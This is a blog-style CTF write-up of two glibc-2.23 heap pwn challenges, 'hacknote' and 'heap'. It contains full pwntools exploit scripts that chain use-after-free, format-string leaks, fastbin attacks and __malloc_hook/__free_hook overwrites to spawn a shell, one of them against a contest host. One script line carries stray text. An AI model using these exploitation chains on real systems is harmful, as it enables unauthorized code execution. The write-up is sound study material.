2020铁三第一赛区pwn

Posted by nop on 2020-11-12
Words 1.6k In Total

前言

初赛题目并不难,本地环境吃了大亏,一个上午的比赛一半的时间在折腾我这新做的系统,最终只出了一道题。。。。。

hacknote

程序有明显的uaf:

1
2
3
4
5
6
if ( ptrs[index] )
{
free((void *)ptrs[index][1]);
free(ptrs[index]);
puts("Success");
}

在添加堆块时分析可知,每创建一个堆块,都会先申请一个0x10大小的堆块用于存放用户申请堆块的指针以及一个函数(print note功能)指针:

1
2
3
4
5
6
7
8
9
10
11
12
ptrs[i] = malloc(0x10uLL);
if ( !ptrs[i] )
{
puts("Alloca Error");
exit(-1);
}
*ptrs[i] = ptr_show;
printf("Note size :");
read(0, &buf, 8uLL);
size = atoi(&buf);
content_ptr = ptrs[i];
content_ptr[1] = malloc(size);

因为程序打印堆块内容时使用的是创建堆块时存放在索引块(0x10)下的函数指针,而且存在uaf,所以可以通过修改函数指针指向one gadget来getshell:

1
2
if ( ptrs[index] )
((void (__fastcall *)(_QWORD *, char *))*ptrs[index])(ptrs[index], &buf);

这题的技巧在于错位申请,大致思路如下:

  1. 先后申请一个0x20的堆块idx1和一个0x20大小的堆块idx2,此时内存分布如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    +---------------------+
    | idx1-index(0x10) |------+
    +---------------------+ |
    | idx1(0x20) |<-----+
    +---------------------+
    | idx2-index(0x10) |------+
    +---------------------+ |
    | idx2(0x20) |<-----+
    +---------------------+
  2. 随后释放idx2、idx1,fastbin的排布如下:

    1
    2
    0x20: idx2-index -> idx1-index
    0x30: idx2 -> indx1
  3. 此时再申请一个0x10大小的堆块,那么新得到的堆块的索引块就应是idx2-index对应的内存空间,内容块就应该是idx1-index对应的内存空间,所以此时写入的内容会写入到idx1-index,覆写对应位置的函数指针为one gadget的地址,然后打印idx1的内容即可执行one gadget

此外程序开始还存在格式化字符串漏洞,可以用来泄露地址,当然也可以通过unsorted bin来泄露libc地址,不过因为输出函数是puts,所以如果地址中包含’\x00’就会被截断

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
@File: exp.py
@File Created: Saturday, 31st October 2020 8:47:59 am
@Author: Nop
@Email: tempersong@gmail.com
@-----
@Last Modified: Saturday, 31st October 2020 10:05:59 am
@Modified By: Nop
'''

from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='DEBUG')
#p = process('./hacknote')
p = remote('172.20.13.69', 10001)
libc = ELF("./libc-2.23.so", checksec=False)
#libc = ELF("/home/nop/libs/glibc-2.23/64/lib/libc.so.6", checksec=False)

s = lambda data :p.send(str(data))
sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

def add(size, content):
ru("Your choice :")
sl(1)
ru("Note size :")
sl(size)
ru("Content :")
sl(content)

def delete(index):
ru("Your choice :")
sl(2)
ru("Index")
sl(index)

def show(index):
ru("Your choice :")
sl(3)
ru("Index")
sl(index)

def dbg():
gdb.attach(p)
pause()

ru("what's your name!")
#pause()
s("%13$p")
ru("hello ,")
libc_addr = int(p.recv(14), 16) - 0xf0 - libc.sym["__libc_start_main"]
#libc_addr = int(p.recv(14), 16) - 0x463e4
leak("libc_addr", libc_addr)
#dbg()

add(0x20, 'aaaa') # idx0
add(0x20, 'bbbb') # idx1
delete(0)
delete(1)
one_gadget=[0x45216, 0x4526a, 0xf02a4, 0xf1147]hack

add(0x10, p64(one_gadget[0]+libc_addr))
#dbg()
show(0)
#dbg()
itr()

# flag{c1845d445ded6a17dfd3a07bec0d650b}

heap

这题和上一题类似,存在格式化字符漏洞,可以用来泄露地址(同样可以通过unsorted bin attack来泄露地址),也同样存在uaf,除此之外还有一个堆溢出漏洞:

1
2
printf("Input the data: ", &index);
read(0, (void *)items[index], 0x300uLL);

两种思路:

改__malloc_hook为one_gadget,通过realloc调整栈帧getshell

其实存在uaf、堆溢出很容易就想到利用fastbin attack分配到__malloc_hook附近来写one gadget,但是当时脑抽没有patch程序,用题目给的libc文件得到的one gadget在本地进行傻调,到比赛结束没没调出个所以然来,tcl!!!

这一方式思路清晰,不再详细赘述,附上赛后本地环境打通的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
@File: exp.py
@File Created: Saturday, 31st October 2020 11:17:05 am
@Author: Nop
@Email: tempersong@gmail.com
@-----
@Last Modified: Saturday, 31st October 2020 11:27:43 am
@Modified By: Nop
'''

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')
p = process('./heap')
libc = ELF('/home/nop/libs/2.23/glibc-2.23/64/lib/libc.so.6', checksec=False)
offset = libc.sym['__libc_start_main']

one_gadget = [0x3c0db, 0xcb7a5, 0xcb7aa]
'''
0x3c0db execve("/bin/sh", rsp+0x20, environ)
constraints:
[rsp+0x20] == NULL

0xcb7a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0xcb7aa execve("/bin/sh", rsi, environ)
constraints:
[rsi] == NULL || rsi == NULL
'''

s = lambda data :p.send(str(data))
sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

def add(size):
ru("Input your choice: ")
sl(1)
ru("Input the size of item: ")
sl(size)

def edit(index, content):
ru("Input your choice: ")
sl(3)
ru("Input the index of item: ")
sl(index)
ru("Input the data: ")
sl(content)

def delete(index):
ru("Input your choice: ")
sl(4)
ru("Input the index of item: ")
sl(index)

def dbg():
gdb.attach(p)
pause()


ru("What's your name:")
# pause()
sl("%19$p")
ru("Hello, ")
libc_addr = int(p.recv(14),16) - 385 - libc.sym["__libc_start_main"]
leak("libc_addr", libc_addr)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
leak("malloc_hook", malloc_hook)
realloc_addr = libc_addr + libc.sym['__libc_realloc']
leak("realloc", realloc_addr)
# dbg()

add(0x60) # id0
delete(0)
edit(0, p64(malloc_hook-0x23))
add(0x60) # id1
# dbg()

leak("one gadget", one_gadget[2]+libc_addr)
payload = 'A' * (0x13-0x8) + p64(libc_addr+one_gadget[1]) + p64(realloc_addr)
add(0x60) # id2
edit(2, payload)
# dbg()
add(0x20)
# pause()
itr()

改__free_hook为system,然后执行free(ptr),ptr->’/bin/sh’

这种方法比上一种更适用,只是步骤要多一点,因为one gadget执行是有条件限制的,不一定每次的环境都能满足对应的条件,但是改__free_hook就不一样,只要得到system函数的地址,在没有沙箱的情况下就能直接getshell。

关于具体的利用原理即方法,参见关于通过Topchunk覆写Free_hook方法介绍

附上本地打通的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
@File: exp.py
@File Created: Saturday, 31st October 2020 21:17:05 am
@Author: Nop
@Email: tempersong@gmail.com
@-----
@Last Modified: Saturday, 31st October 2020 21:27:43 am
@Modified By: Nop
'''

from pwn import *

context(arch='amd64', os='linux', log_level='DEBUG')
p = process('./heap')
libc = ELF('/home/nop/libs/2.23/glibc-2.23/64/lib/libc.so.6', checksec=False)

s = lambda data :p.send(str(data))
sl = lambda data :p.sendline(str(data))
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu64 = lambda data :u64(data.ljust(8, '\0'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

def add(size):
ru("Input your choice: ")
sl(1)
ru("Input the size of item: ")
sl(size)

def edit(index, content):
ru("Input your choice: ")
sl(3)
ru("Input the index of item: ")
sl(index)
ru("Input the data: ")
sl(content)

def delete(index):
ru("Input your choice: ")
sl(4)
ru("Input the index of item: ")
sl(index)

def dbg():
gdb.attach(p)
pause()


ru("What's your name:")
# pause()
sl("%19$p")
ru("Hello, ")
libc_addr = int(p.recv(14),16) - 385 - libc.sym["__libc_start_main"]
leak("libc_addr", libc_addr)
malloc_hook = libc_addr + libc.sym['__malloc_hook']
leak("malloc_hook", malloc_hook)
free_hook = libc_addr + libc.sym['__free_hook']
leak("free_hook", free_hook)
system_addr = libc_addr + libc.sym['system']
leak("system_addr", system_addr)
main_arena = malloc_hook + 0x10
leak("main_arena", main_arena)
# dbg()

add(0x68) # id0
delete(0)
edit(0, p64(malloc_hook-0x23))
add(0x68) # id1
add(0x68) # id2
payload = 'A'*(0x13-0x8)+ p64(0)*6 + p64(0x70) + p64(0)*2 + p64(main_arena+0x10)
edit(2, payload)
# dbg()
add(0x68) # id3
payload = p64(0)*7 + p64(free_hook-0xb58)
edit(3, payload)
# dbg()

add(0x350) # id4
add(0x350) # id5
add(0x350) # id6
add(0x200) # id7
payload = '\x00'*0x128 + p64(system_addr)
edit(4, '/bin/sh')
edit(7, payload)
# dbg()
delete(4)
itr()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.